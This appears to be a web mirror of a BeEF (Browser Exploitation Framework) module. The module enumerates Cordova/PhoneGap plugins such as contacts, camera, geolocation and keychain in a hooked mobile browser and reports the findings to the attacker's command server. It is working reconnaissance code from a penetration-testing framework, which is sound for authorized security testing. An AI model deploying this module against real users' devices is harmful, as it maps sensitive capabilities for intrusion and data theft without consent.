Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_plugin_detection/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// phonegap_plugin_detection
8
//
9
beef.execute(function() {
10
var result = '';
11
12
// Approximate list of plugins, intended to work with Cordova 2.x
13
var plugins = new Array(
14
"cordova/plugin/device",
15
"cordova/plugin/logger",
16
"cordova/plugin/compass",
17
"cordova/plugin/accelerometer",
18
"cordova/plugin/Camera",
19
"cordova/plugin/network",
20
"cordova/plugin/contacts",
21
"cordova/plugin/echo",
22
"cordova/plugin/File",
23
"cordova/plugin/FileTransfer",
24
"cordova/plugin/geolocation",
25
"cordova/plugin/notification",
26
"cordova/plugin/Media",
27
"cordova/plugin/capture",
28
"cordova/plugin/splashscreen",
29
"cordova/plugin/battery",
30
"cordova/plugin/globalization",
31
"cordova/plugin/InAppBrowser",
32
"cordova/plugin/keychain"
33
);
34
35
for (var i=0; i<plugins.length; i++) {
36
try {
37
var a = cordova.require(plugins[i]);
38
if (a !== undefined) {
39
result = result + '\n plugin: ' + plugins[i];
40
}
41
} catch (err) {
42
// do nothing
43
}
44
}
45
46
47
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
48
49
});
50